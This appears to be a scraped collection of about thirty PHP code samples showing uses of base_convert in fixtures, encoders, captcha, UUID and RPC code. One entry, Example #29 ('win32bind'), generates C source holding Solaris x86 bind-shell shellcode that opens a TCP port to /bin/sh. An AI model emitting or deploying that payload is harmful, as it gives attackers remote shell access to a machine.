Пример #1
1
 /** Creates directory or throws exception on fail
  * @param string $pathname
  * @param int    $mode     Mode in octal
  * @return bool
  */
 public static function create($pathname, $mode = self::MOD_DEFAULT)
 {
     if (strpos($pathname, '/') !== false) {
         $pathname = explode('/', $pathname);
     }
     if (is_array($pathname)) {
         $current_dir = '';
         $create = array();
         do {
             $current_dir = implode('/', $pathname);
             if (is_dir($current_dir)) {
                 break;
             }
             $create[] = array_pop($pathname);
         } while (any($pathname));
         if (any($create)) {
             $create = array_reverse($create);
             $current_dir = implode('/', $pathname);
             foreach ($create as $dir) {
                 $current_dir .= '/' . $dir;
                 if (!is_dir($current_dir)) {
                     if (!($action = @mkdir($current_dir, $mode))) {
                         throw new \System\Error\Permissions(sprintf('Failed to create directory on path "%s" in mode "%s". Please check your permissions.', $current_dir, base_convert($mode, 10, 8)));
                     }
                 }
             }
         }
     } else {
         if (!($action = @mkdir($pathname, $mode, true))) {
             throw new \System\Error\Permissions(sprintf('Failed to create directory on path "%s" in mode "%s". Please check your permissions.', $pathname, base_convert($mode, 10, 8)));
         }
     }
     return $action;
 }
Пример #2
0
 public function load(ObjectManager $manager)
 {
     // Obtener todas las ciudades de la base de datos
     $ciudades = $manager->getRepository('CiudadBundle:Ciudad')->findAll();
     $i = 1;
     foreach ($ciudades as $ciudad) {
         $numeroTiendas = rand(2, 5);
         for ($j = 1; $j <= $numeroTiendas; $j++) {
             $tienda = new Tienda();
             $tienda->setNombre($this->getNombre());
             $tienda->setLogin('tienda' . $i);
             $tienda->setSalt(base_convert(sha1(uniqid(mt_rand(), true)), 16, 36));
             $passwordEnClaro = 'tienda' . $i;
             $encoder = $this->container->get('security.encoder_factory')->getEncoder($tienda);
             $passwordCodificado = $encoder->encodePassword($passwordEnClaro, $tienda->getSalt());
             $tienda->setPassword($passwordCodificado);
             $tienda->setDescripcion($this->getDescripcion());
             $tienda->setDireccion($this->getDireccion($ciudad));
             $tienda->setCiudad($ciudad);
             $manager->persist($tienda);
             $i++;
         }
     }
     $manager->flush();
 }
Пример #3
0
/**
 * Generate Secret Key
 * @return string
 */
function twofactor_genkey()
{
    global $base32_enc;
    // RFC 4226 recommends 160bits Secret Keys, that's 20 Bytes for the lazy ones.
    $crypto = false;
    $raw = "";
    $x = -1;
    while ($crypto == false || ++$x < 10) {
        $raw = openssl_random_pseudo_bytes(20, $crypto);
    }
    // RFC 4648 Base32 Encoding without padding
    $len = strlen($raw);
    $bin = "";
    $x = -1;
    while (++$x < $len) {
        $bin .= str_pad(base_convert(ord($raw[$x]), 10, 2), 8, '0', STR_PAD_LEFT);
    }
    $bin = str_split($bin, 5);
    $ret = "";
    $x = -1;
    while (++$x < sizeof($bin)) {
        $ret .= $base32_enc[base_convert(str_pad($bin[$x], 5, '0'), 2, 10)];
    }
    return $ret;
}
Пример #4
0
 public static function decode($input)
 {
     if (empty($input)) {
         return;
     }
     $paddingCharCount = substr_count($input, self::$map[32]);
     $allowedValues = array(6, 4, 3, 1, 0);
     if (!in_array($paddingCharCount, $allowedValues)) {
         return false;
     }
     for ($i = 0; $i < 4; $i++) {
         if ($paddingCharCount == $allowedValues[$i] && substr($input, -$allowedValues[$i]) != str_repeat(self::$map[32], $allowedValues[$i])) {
             return false;
         }
     }
     $input = str_replace('=', '', $input);
     $input = str_split($input);
     $binaryString = "";
     for ($i = 0; $i < count($input); $i = $i + 8) {
         $x = "";
         if (!in_array($input[$i], self::$map)) {
             return false;
         }
         for ($j = 0; $j < 8; $j++) {
             $x .= str_pad(base_convert(@self::$flippedMap[@$input[$i + $j]], 10, 2), 5, '0', STR_PAD_LEFT);
         }
         $eightBits = str_split($x, 8);
         for ($z = 0; $z < count($eightBits); $z++) {
             $binaryString .= ($y = chr(base_convert($eightBits[$z], 2, 10))) || ord($y) == 48 ? $y : "";
         }
     }
     return $binaryString;
 }
Пример #5
0
 /**
  * Конструктор
  *
  * @param mixed $value Число (0xFFEEDD), массив (array(0xFF, 0xEE, 0xDD)), либо строка ('#FFEEDD' или название web-цвета)
  */
 function __construct($value)
 {
     /**
      * Если число сохраняем
      */
     if (is_int($value)) {
         $this->RGB = $value;
     } else {
         if (is_array($value) && count($value) == 3) {
             $temp = array_values($value);
             $this->RGB = ($temp[0] & 0xff) << 16 | ($temp[1] & 0xff) << 8 | $temp[2] & 0xff;
         } else {
             if (is_string($value)) {
                 if ($value[0] == '#') {
                     $this->RGB = intval(base_convert(trim($value, '# '), 16, 10)) & 0xffffff;
                 } else {
                     if (isset(self::$webColors[$temp = strtolower($value)])) {
                         $this->RGB = self::$webColors[$temp];
                     }
                 }
             }
         }
     }
     /**
      * Иначе выдаём ошибку
      */
     if ($this->RGB === FALSE) {
         triggerError(sprintf(Open_Text::getInstance()->dget('errors', 'The value "<b>%s</b>" cannot be converted to color'), $value), E_USER_WARNING);
     }
 }
Пример #6
0
 /**
  * 递归从左到右处理每一个字节 把非法的字节替换成?
  *  GBK定义 如果单个字节的第8个BIT是0(高位),則这个字节是一个字符
  *          如果是1  则和后面的一个字节合成一个字符,后面的这个字节的第8个BIT也必须是1
  *          第二个字节范围 x40 64 xFE 254
  * 字符有一字节和双字节编码,00–7F范围内是一位,和ASCII保持一致
  * 双字节中,第一字节的范围是81–FE(也就是不含80和FF),第二字节的一部分领域在40–FE
  * @access public
  * @param mixed $str
  * @return void
  * @author 刘建辉
  * @修改日期 2013-02-21 17:28:28
  */
 public static function hex2arr($str)
 {
     $arr = array();
     $i = 0;
     $len = strlen($str);
     while ($i < $len) {
         $firstStr = substr($str, $i, 2);
         $firstStrdec = base_convert($firstStr, 16, 10);
         if ($firstStrdec > 128 && $firstStrdec < 255) {
             //双字节字符
             $secondStr = base_convert(substr($str, $i + 2, 2), 16, 10);
             if ($secondStr > 63 && $secondStr < 255) {
                 $arr[] = substr($str, $i, 4);
             } else {
                 $arr[] = '3f';
             }
             $i += 4;
         } else {
             //单字节字符
             $arr[] = $firstStrdec > 33 && $firstStrdec < 126 ? $firstStr : '3f';
             $i += 2;
         }
     }
     return $arr;
 }
Пример #7
0
 public function login($username, $password, $hash = true)
 {
     if (empty($username) || empty($password)) {
         return false;
     }
     if ($hash) {
         $password = md5($password);
     }
     $query = $this->db->query("SELECT `password` FROM `" . DB_PREFIX . "user` WHERE `username` = '" . $this->db->escape($username) . "'");
     list($pass, $suffix) = explode(':', $query->row['password']);
     if (!$suffix) {
         $suffix = md5(base_convert(rand(1.0E+17, 1.0E+21), 10, 36) . time());
         $this->db->query("UPDATE `" . DB_PREFIX . "user` SET \n              `password`    = '" . $this->db->escape(md5($password . $suffix) . ':' . $suffix) . "' \n              WHERE `username` = '" . $this->db->escape($username) . "'");
     }
     $user_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "user` " . "WHERE username = '******' " . "AND password = '******':' . $suffix) . "'");
     if ($user_query->num_rows) {
         $this->session->set('user_id', $user_query->row['user_id']);
         $utoken = $this->session->has('utoken') ? $this->session->get('utoken') : md5(date('d-m-Y') . mt_rand(1000000000, 9999999999));
         $this->session->set('utoken', $utoken);
         $this->ukey = md5($this->key) . ":" . $this->session->get('utoken') . "_" . $user_query->row['user_id'];
         $this->session->set('token', $this->ukey);
         $this->session->set('nttoken', $this->key . $this->session->get('utoken'));
         $this->session->set('ukey', $this->ukey);
         $this->user_id = $user_query->row['user_id'];
         $this->username = $user_query->row['username'];
         $user_group_query = $this->db->query("SELECT permission FROM " . DB_PREFIX . "user_group WHERE user_group_id = '" . (int) $user_query->row['user_group_id'] . "'");
         foreach (unserialize($user_group_query->row['permission']) as $key => $value) {
             $this->permissions[$key] = $value;
         }
         return true;
     } else {
         return false;
     }
 }
 public function testPerformanceCreateAction()
 {
     $this->request('/admin/Performance/create', 'GET', 302);
     $this->request('/admin/Performance/create' . base_convert(md5(uniqid()), 11, 10), 'GET', 404);
     $this->logIn();
     $this->request('/admin/Performance/create', 'GET', 200);
 }
Пример #9
0
 public function saveMIDItoFile()
 {
     $this->filename = base_convert(mt_rand(), 10, 36);
     $this->filepath = $this->saveDir.$this->filename;
     $this->midi->saveMidFile($this->filepath.'.mid', 0666);
     return true;
 }
Пример #10
0
 public static function make_seccode($seccode = '')
 {
     global $_G;
     if (!$seccode) {
         $seccode = random(6, 1);
         $seccodeunits = '';
         if ($_G['setting']['seccodedata']['type'] == 1) {
             $lang = lang('seccode');
             $len = strtoupper(CHARSET) == 'GBK' ? 2 : 3;
             $code = array(substr($seccode, 0, 3), substr($seccode, 3, 3));
             $seccode = '';
             for ($i = 0; $i < 2; $i++) {
                 $seccode .= substr($lang['chn'], $code[$i] * $len, $len);
             }
         } elseif ($_G['setting']['seccodedata']['type'] == 3) {
             $s = sprintf('%04s', base_convert($seccode, 10, 20));
             $seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ';
         } else {
             $s = sprintf('%04s', base_convert($seccode, 10, 24));
             $seccodeunits = 'BCEFGHJKMPQRTVWXY2346789';
         }
         if ($seccodeunits) {
             $seccode = '';
             for ($i = 0; $i < 4; $i++) {
                 $unit = ord($s[$i]);
                 $seccode .= $unit >= 0x30 && $unit <= 0x39 ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57];
             }
         }
     }
     self::_create('code', $seccode);
     return $seccode;
 }
function get_subscribed_forum_func()
{
    global $config, $db, $user, $auth, $mobiquo_config, $phpbb_home;
    $user->setup('ucp');
    if (!$user->data['is_registered']) {
        trigger_error('LOGIN_EXPLAIN_UCP');
    }
    $forum_list = array();
    if ($config['allow_forum_notify']) {
        $forbidden_forums = $auth->acl_getf('!f_read', true);
        $forbidden_forums = array_unique(array_keys($forbidden_forums));
        if (isset($mobiquo_config['hide_forum_id'])) {
            $forbidden_forums = array_unique(array_merge($forbidden_forums, $mobiquo_config['hide_forum_id']));
        }
        $sql_array = array('SELECT' => 'f.*', 'FROM' => array(FORUMS_WATCH_TABLE => 'fw', FORUMS_TABLE => 'f'), 'WHERE' => 'fw.user_id = ' . $user->data['user_id'] . '
                AND f.forum_id = fw.forum_id
                AND ' . $db->sql_in_set('f.forum_id', $forbidden_forums, true, true), 'ORDER_BY' => 'left_id');
        if ($config['load_db_lastread']) {
            $sql_array['LEFT_JOIN'] = array(array('FROM' => array(FORUMS_TRACK_TABLE => 'ft'), 'ON' => 'ft.user_id = ' . $user->data['user_id'] . ' AND ft.forum_id = f.forum_id'));
            $sql_array['SELECT'] .= ', ft.mark_time ';
        } else {
            $tracking_topics = isset($_COOKIE[$config['cookie_name'] . '_track']) ? STRIP ? stripslashes($_COOKIE[$config['cookie_name'] . '_track']) : $_COOKIE[$config['cookie_name'] . '_track'] : '';
            $tracking_topics = $tracking_topics ? tracking_unserialize($tracking_topics) : array();
        }
        $sql = $db->sql_build_query('SELECT', $sql_array);
        $result = $db->sql_query($sql);
        $forum_list = array();
        while ($row = $db->sql_fetchrow($result)) {
            $forum_id = $row['forum_id'];
            if ($config['load_db_lastread']) {
                $forum_check = !empty($row['mark_time']) ? $row['mark_time'] : $user->data['user_lastmark'];
            } else {
                $forum_check = isset($tracking_topics['f'][$forum_id]) ? (int) (base_convert($tracking_topics['f'][$forum_id], 36, 10) + $config['board_startdate']) : $user->data['user_lastmark'];
            }
            $unread_forum = $row['forum_last_post_time'] > $forum_check ? true : false;
            $logo_url = '';
            if (file_exists("./forum_icons/{$forum_id}.png")) {
                $logo_url = $phpbb_home . $config['tapatalkdir'] . "/forum_icons/{$forum_id}.png";
            } else {
                if (file_exists("./forum_icons/{$forum_id}.jpg")) {
                    $logo_url = $phpbb_home . $config['tapatalkdir'] . "/forum_icons/{$forum_id}.jpg";
                } else {
                    if (file_exists("./forum_icons/default.png")) {
                        $logo_url = $phpbb_home . $config['tapatalkdir'] . "/forum_icons/default.png";
                    } else {
                        if ($row['forum_image']) {
                            $logo_url = $phpbb_home . $row['forum_image'];
                        }
                    }
                }
            }
            $xmlrpc_forum = new xmlrpcval(array('forum_id' => new xmlrpcval($forum_id), 'forum_name' => new xmlrpcval(html_entity_decode($row['forum_name']), 'base64'), 'icon_url' => new xmlrpcval($logo_url), 'is_protected' => new xmlrpcval($row['forum_password'] ? true : false, 'boolean'), 'sub_only' => new xmlrpcval($row['forum_type'] == FORUM_POST ? false : true, 'boolean'), 'new_post' => new xmlrpcval($unread_forum, 'boolean')), 'struct');
            $forum_list[] = $xmlrpc_forum;
        }
        $db->sql_freeresult($result);
    }
    $forum_num = count($forum_list);
    $response = new xmlrpcval(array('total_forums_num' => new xmlrpcval($forum_num, 'int'), 'forums' => new xmlrpcval($forum_list, 'array')), 'struct');
    return new xmlrpcresp($response);
}
Пример #12
0
 protected function doSynlogin($request, $get, $post)
 {
     if (!API_SYNLOGIN) {
         return API_RETURN_FORBIDDEN;
     }
     $partnerUser = uc_get_user($get['uid'], 1);
     $bind = $this->getUserService()->getUserBindByTypeAndFromId('discuz', $get['uid']);
     if (UC_CHARSET == 'gbk') {
         $get['username'] = iconv('gb2312', 'UTF-8', $get['username']);
     }
     if (empty($bind)) {
         $registration = array('nickname' => $get['username'], 'email' => $partnerUser[2], 'password' => substr(base_convert(sha1(uniqid(mt_rand(), true)), 16, 36), 0, 8), 'createdTime' => $get['time'], 'createdIp' => $request->getClientIp(), 'token' => array('userId' => $get['uid']));
         if (!$this->getAuthService()->isRegisterEnabled()) {
             return API_RETURN_FORBIDDEN;
         }
         $user = $this->getUserService()->register($registration, 'discuz');
     } else {
         $user = $this->getUserService()->getUser($bind['toId']);
         if (empty($user)) {
             return API_RETURN_SUCCEED;
         }
     }
     $this->authenticateUser($user);
     return API_RETURN_SUCCEED;
 }
Пример #13
0
 /**
  * @param string $input
  * @return string
  * @throws \InvalidArgumentException
  */
 protected function generateChecksum($input)
 {
     $invalidChars = array();
     foreach (str_split($input) as $char) {
         if (!in_array($char, $this->characterMap)) {
             $invalidChars[] = $char;
         }
     }
     if (count($invalidChars)) {
         throw new \InvalidArgumentException("Argument 1 contains the following characters not in the character map: " . implode(" ", $invalidChars));
     }
     $base = count($this->characterMap);
     $factor = 2;
     $total = 0;
     for ($i = strlen($input) - 1; $i >= 0; $i--) {
         $codePoint = array_search(substr($input, $i, 1), $this->characterMap);
         $add = base_convert($codePoint * $factor, 10, $base);
         if ($add > 9) {
             $add = array_sum(str_split($add));
         }
         $total = $total + $add;
         $factor = $factor == 2 ? 1 : 2;
     }
     return $this->characterMap[$base - $total % $base];
 }
Пример #14
0
 /**
  * Get unique identifier
  */
 public function getId()
 {
     if (!isset($this->options['id'])) {
         $this->options['id'] = isset($this->options['name']) ? $this->options['name'] . '-form' : base_convert(uniqid(), 16, 36);
     }
     return $this->options['id'];
 }
Пример #15
0
 /**
  * {@inheritdoc}
  */
 public function generate()
 {
     // Obtain a random string of 32 hex characters.
     $hex = bin2hex(Crypt::randomBytes(16));
     // The variable names $time_low, $time_mid, $time_hi_and_version,
     // $clock_seq_hi_and_reserved, $clock_seq_low, and $node correlate to
     // the fields defined in RFC 4122 section 4.1.2.
     //
     // Use characters 0-11 to generate 32-bit $time_low and 16-bit $time_mid.
     $time_low = substr($hex, 0, 8);
     $time_mid = substr($hex, 8, 4);
     // Use characters 12-15 to generate 16-bit $time_hi_and_version.
     // The 4 most significant bits are the version number (0100 == 0x4).
     // We simply skip character 12 from $hex, and concatenate the strings.
     $time_hi_and_version = '4' . substr($hex, 13, 3);
     // Use characters 16-17 to generate 8-bit $clock_seq_hi_and_reserved.
     // The 2 most significant bits are set to one and zero respectively.
     $clock_seq_hi_and_reserved = base_convert(substr($hex, 16, 2), 16, 10);
     $clock_seq_hi_and_reserved &= 0b111111;
     $clock_seq_hi_and_reserved |= 0b10000000;
     // Use characters 18-19 to generate 8-bit $clock_seq_low.
     $clock_seq_low = substr($hex, 18, 2);
     // Use characters 20-31 to generate 48-bit $node.
     $node = substr($hex, 20);
     // Re-combine as a UUID. $clock_seq_hi_and_reserved is still an integer.
     $uuid = sprintf('%s-%s-%s-%02x%s-%s', $time_low, $time_mid, $time_hi_and_version, $clock_seq_hi_and_reserved, $clock_seq_low, $node);
     return $uuid;
 }
Пример #16
0
 public function __construct($username, $password)
 {
     $this->username = $username;
     $this->salt = base_convert(sha1(uniqid(mt_rand(), true)), 16, 36);
     $this->setPlainPassword($password);
     $this->setRoles(['ROLE_USER', 'ROLE_API']);
 }
Пример #17
0
 public function load(ObjectManager $manager)
 {
     // Obtener todas las ciudades de la base de datos
     $ciudades = $manager->getRepository('CiudadBundle:Ciudad')->findAll();
     for ($i = 1; $i <= 200; $i++) {
         $usuario = new Usuario();
         $usuario->setNombre($this->getNombre());
         $usuario->setApellidos($this->getApellidos());
         $usuario->setEmail('usuario' . $i . '@localhost');
         $usuario->setSalt(base_convert(sha1(uniqid(mt_rand(), true)), 16, 36));
         $passwordEnClaro = 'usuario' . $i;
         $encoder = $this->container->get('security.encoder_factory')->getEncoder($usuario);
         $passwordCodificado = $encoder->encodePassword($passwordEnClaro, $usuario->getSalt());
         $usuario->setPassword($passwordCodificado);
         $ciudad = $ciudades[array_rand($ciudades)];
         $usuario->setDireccion($this->getDireccion($ciudad));
         $usuario->setCiudad($ciudad);
         // El 60% de los usuarios permite email
         $usuario->setPermiteEmail(rand(1, 1000) % 10 < 6);
         $usuario->setFechaAlta(new \DateTime('now - ' . rand(1, 150) . ' days'));
         $usuario->setFechaNacimiento(new \DateTime('now - ' . rand(7000, 20000) . ' days'));
         $dni = substr(rand(), 0, 8);
         $usuario->setDni($dni . substr("TRWAGMYFPDXBNJZSQVHLCKE", strtr($dni, "XYZ", "012") % 23, 1));
         $usuario->setNumeroTarjeta('1234567890123456');
         $manager->persist($usuario);
     }
     $manager->flush();
 }
 /**
  * Get it by the public ID
  * @param $id
  * @return bool|\AboutBrowser\Model\Visitor
  */
 public function findOneByPublicID($id)
 {
     $internalID = base_convert($id, 36, 10);
     $dql = "select v from AboutBrowser\\Model\\Visitor v where v.id = {$internalID} and v.createdAt >= DATE_SUB(CURRENT_DATE(), 3, 'day')";
     $result = $this->_em->createQuery($dql)->getResult();
     return $result ? $result[0] : false;
 }
Пример #19
0
 public function __call($method, $params)
 {
     if ($method === __FUNCTION__) {
         return;
     }
     if ($this->_path) {
         $method = $this->_path . '/' . $method;
     }
     $id = base_convert($this->_uniqid++, 10, 36);
     $rpcTimeout = Config::get('rpc.timeout');
     $timeout = $rpcTimeout[$method] ?: $rpcTimeout['default'];
     $this->_header['X-Gini-RPC-Session'] = $_SERVER['HTTP_X_GINI_RPC_SESSION'] ?: $this->_url . '/' . $method;
     $raw_data = $this->post(J(['jsonrpc' => '2.0', 'method' => $method, 'params' => $params, 'id' => $id]), $timeout);
     \Gini\Logger::of('http-jsonrpc')->debug('RPC <= {data}', ['data' => $raw_data]);
     $data = @json_decode($raw_data, true);
     if (!isset($data['result'])) {
         if (isset($data['error'])) {
             $message = sprintf('remote error: %s', $data['error']['message']);
             $code = $data['error']['code'];
             throw IoC::construct('\\Gini\\RPC\\Exception', $message, $code);
         } elseif (is_null($data)) {
             $message = sprintf('unknown error with raw data: %s', $raw_data ?: '(null)');
             throw IoC::construct('\\Gini\\RPC\\Exception', $message, -32400);
         } elseif ($id != $data['id']) {
             $message = 'wrong response id!';
             throw IoC::construct('\\Gini\\RPC\\Exception', $message, -32400);
         }
     }
     return $data['result'];
 }
Пример #20
0
function IPv4To6($Ip, $expand = false)
{
    static $Mask = '::ffff:';
    // This tells IPv6 it has an IPv4 address
    $IPv6 = strpos($Ip, ':') !== false;
    $IPv4 = strpos($Ip, '.') !== false;
    if (!$IPv4 && !$IPv6) {
        return false;
    }
    if ($IPv6 && $IPv4) {
        $Ip = substr($Ip, strrpos($Ip, ':') + 1);
    } elseif (!$IPv4) {
        return ExpandIPv6Notation($Ip);
    }
    // Seems to be IPv6 already?
    $Ip = array_pad(explode('.', $Ip), 4, 0);
    if (count($Ip) > 4) {
        return false;
    }
    for ($i = 0; $i < 4; $i++) {
        if ($Ip[$i] > 255) {
            return false;
        }
    }
    $Part7 = base_convert($Ip[0] * 256 + $Ip[1], 10, 16);
    $Part8 = base_convert($Ip[2] * 256 + $Ip[3], 10, 16);
    if ($expand) {
        return ExpandIPv6Notation($Mask . $Part7 . ':' . $Part8);
    } else {
        return $Mask . $Part7 . ':' . $Part8;
    }
}
Пример #21
0
  /**
    * save() function overriding. Meeting hash codes are generated here.
    *
    * @return The Meeting object inserted in the database.
    */
  public function save(Doctrine_Connection $conn = null, $dont = true)
  {
    if($this->isNew() && $dont)
    {    
      $base_string = '' ;

      for($i = 0 ; $i < sfConfig::get('app_hash_nb_chars') ; ++$i)
        $base_string .= 'z' ;

      $min = 0;
      $max = base_convert ($base_string, 36, 10);
      $id = rand($min, $max) ;
      $hash = base_convert($id, 10, 36) ;

      while(Doctrine::getTable('meeting')->hashExists($hash) || strlen($hash) != sfConfig::get('app_hash_nb_chars'))
        $hash = base_convert($id, 10, 36) ;

      $this->setHash($hash) ;

      $dt = date_create() ;

      $dt->modify("+3 month") ;
      $this->setDateEnd($dt->format('Y-m-d')) ;

      $dt->modify("+1 month") ;
      $this->setDateDel($dt->format('Y-m-d')) ;
    }

    return parent::save($conn) ; 
  }
 public function testHistoryCreateAction()
 {
     $this->request('/admin/History/create', 'GET', 302);
     $this->request('/admin/History/create' . base_convert(md5(uniqid()), 11, 10), 'GET', 404);
     $this->logIn();
     $this->request('/admin/History/create', 'GET', 200);
 }
Пример #23
0
 public function __construct()
 {
     parent::__construct();
     if ($this->isNew()) {
         $this->setSalt(base_convert(sha1(uniqid(mt_rand(), true)), 16, 36));
     }
 }
Пример #24
0
 public function executeNew(sfWebRequest $request)
 {
     $petition = PetitionTable::getInstance()->findById($request->getParameter('id'), $this->userIsAdmin());
     /* @var $petition Petition */
     if (!$petition) {
         return $this->notFound();
     }
     if (!$petition->isTicketManager($this->getGuardUser())) {
         return $this->noAccess();
     }
     $token = new PetitionApiToken();
     $token->setPetition($petition);
     $code = '';
     while (strlen($code) < 30) {
         $code .= substr(base_convert(mt_rand(), 10, 36), 1, 5);
     }
     $code = substr($code, 0, 30);
     $token->setToken($code);
     $form = new PetitionApiTokenForm($token);
     if ($request->isMethod('post')) {
         $form->bind($request->getPostParameter($form->getName()));
         if ($form->isValid()) {
             $form->save();
             return $this->ajax()->redirectRotue('petition_tokens', array('id' => $petition->getId()))->render();
         }
         return $this->ajax()->form($form)->render();
     }
     $this->petition = $petition;
     $this->form = $form;
 }
Пример #25
0
 /**
  * @param string $suffix
  * @param null|string $class
  * @return string
  */
 static function getEncodedName($suffix = '', $class = NULL)
 {
     if (NULL === $class) {
         $class = get_called_class();
     }
     return base_convert(md5($class . $suffix), 16, 36);
 }
Пример #26
0
function make_seccode($idhash)
{
    global $_G;
    $seccode = random(6, 1);
    $seccodeunits = '';
    if ($_G['setting']['seccodedata']['type'] == 1) {
        $lang = lang('seccode');
        $len = strtoupper(CHARSET) == 'GBK' ? 2 : 3;
        $code = array(substr($seccode, 0, 3), substr($seccode, 3, 3));
        $seccode = '';
        for ($i = 0; $i < 2; $i++) {
            $seccode .= substr($lang['chn'], $code[$i] * $len, $len);
        }
    } elseif ($_G['setting']['seccodedata']['type'] == 3) {
        $s = sprintf('%04s', base_convert($seccode, 10, 20));
        $seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ';
    } else {
        $s = sprintf('%04s', base_convert($seccode, 10, 24));
        $seccodeunits = 'BCEFGHJKMPQRTVWXY2346789';
    }
    if ($seccodeunits) {
        $seccode = '';
        for ($i = 0; $i < 4; $i++) {
            $unit = ord($s[$i]);
            $seccode .= $unit >= 0x30 && $unit <= 0x39 ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57];
        }
    }
    dsetcookie('seccode' . $idhash, authcode(strtoupper($seccode) . "\t" . (TIMESTAMP - 180) . "\t" . $idhash . "\t" . FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true);
    return $seccode;
}
Пример #27
0
function increment($input)
{
    $base10 = base_convert($input, 36, 10);
    $base10++;
    $output = base_convert($base10, 10, 36);
    return str_replace('0', 'a', $output);
}
Пример #28
0
 public function __call($method, $params)
 {
     if ($method === __FUNCTION__) {
         return;
     }
     if ($this->_path) {
         $method = $this->_path . '/' . $method;
     }
     $id = base_convert($this->_uniqid++, 10, 36);
     $rpcTimeout = config('rpc.timeout') ?: 5;
     $timeout = $rpcTimeout[$method] ?: $rpcTimeout['default'];
     $raw_data = $this->post(json_encode(['jsonrpc' => '2.0', 'method' => $method, 'params' => $params, 'id' => $id]), $timeout);
     $data = @json_decode($raw_data, true);
     if (!isset($data['result'])) {
         if (isset($data['error'])) {
             $message = sprintf('remote error: %s', $data['error']['message']);
             $code = $data['error']['code'];
             throw new \App\Gini\RPC\Exception($message, $code);
         } elseif (is_null($data)) {
             $message = sprintf('unknown error with raw data: %s', $raw_data ?: '(null)');
             throw new \App\Gini\RPC\Exception($message, -32400);
         } elseif ($id != $data['id']) {
             $message = 'wrong response id!';
             throw new \App\Gini\RPC\Exception($message, -32400);
         }
     }
     return $data['result'];
 }
Пример #29
0
function win32bind($port)
{
    if ($port > 65535 || $port < 4100) {
        echo "Erreur Port\nSelect a port between 4100 and 65535\n";
        return false;
    }
    $inser .= "\nchar shellcode[] = \n";
    $inser .= "\t\t\t/* BindPort TCP/{$port}; Os:Solaris; Gen:http://payload.shell-storm.org */\n";
    $inser .= "\n";
    $inser .= "\t\t\t\"\\xb8\\xff\\xf8\\xff\\x3c\\xf7\\xd0\\x50\\x31\\xc0\\xb0\\x9a\\x50\\x89\\xe5\\x31\\xc9\"\n";
    $inser .= "\t\t\t\"\\x51\\x41\\x41\\x51\\x51\\xb0\\xe6\\xff\\xd5\\x31\\xd2\\x89\\xc7\\x52\\x66\\x68\"\n";
    $inser .= "\t\t\t\"\\x";
    $res_port = base_convert($port, 10, 16);
    $length = strlen($res_port) - 1;
    $i = 1;
    for ($idx = 0; $idx < $length + 1; $idx++) {
        $i++;
        if ($i == 4) {
            $inser .= "\\x";
        }
        $inser .= $res_port[$idx];
    }
    $inser .= "\" /* Port " . $port . " */\n";
    $inser .= "\t\t\t\"\\x66\\x51\\x89\\xe6\\x6a\\x10\\x56\\x57\\xb0\\xe8\\xff\\xd5\\xb0\\xe9\\xff\\xd5\"\n";
    $inser .= "\t\t\t\"\\x50\\x50\\x57\\xb0\\xea\\xff\\xd5\\x31\\xd2\\xb2\\x09\\x51\\x52\\x50\\xb0\\x3e\"\n";
    $inser .= "\t\t\t\"\\xff\\xd5\\x49\\x79\\xf2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\"\n";
    $inser .= "\t\t\t\"\\x89\\xe3\\x50\\x53\\x89\\xe2\\x50\\x52\\x53\\xb0\\x3b\\xff\\xd5\";\n";
    $inser .= "\n";
    $inser .= "\tprintf(\"Length: %d\\n\",strlen(shellcode));\n";
    $inser .= "\t(*(void(*)()) shellcode)();</br>";
    $inser .= "\n";
    $inser .= "\n";
    return $inser;
}
Пример #30
0
 static function ffMultiply($x, $y)
 {
     //        print_r('ffMultiply' . "\n");
     //        print_r("x = " . $x . " y = " . $y . "\n");
     $y_bin = str_pad(base_convert($y, 16, 2), 8, "0", STR_PAD_LEFT);
     //        print_r("y bin = " . $y_bin . "\n");
     $times = array();
     $next = $x;
     for ($i = 0; $i < 8; $i++) {
         $times[] = $next;
         $next = self::xtime($next);
     }
     $result_times = array();
     $counter = 0;
     for ($i = strlen($y_bin) - 1; $i >= 0; $i--) {
         if ($y_bin[$i] == '1') {
             $result_times[] = $times[$counter];
         }
         $counter++;
     }
     for ($i = 1; $i < sizeof($result_times); $i++) {
         $first = str_pad(base_convert($result_times[0], 16, 2), 8, "0", STR_PAD_LEFT);
         $second = str_pad(base_convert($result_times[$i], 16, 2), 8, "0", STR_PAD_LEFT);
         $result_times[0] = self::ffAdd($first, $second);
     }
     return $result_times[0];
 }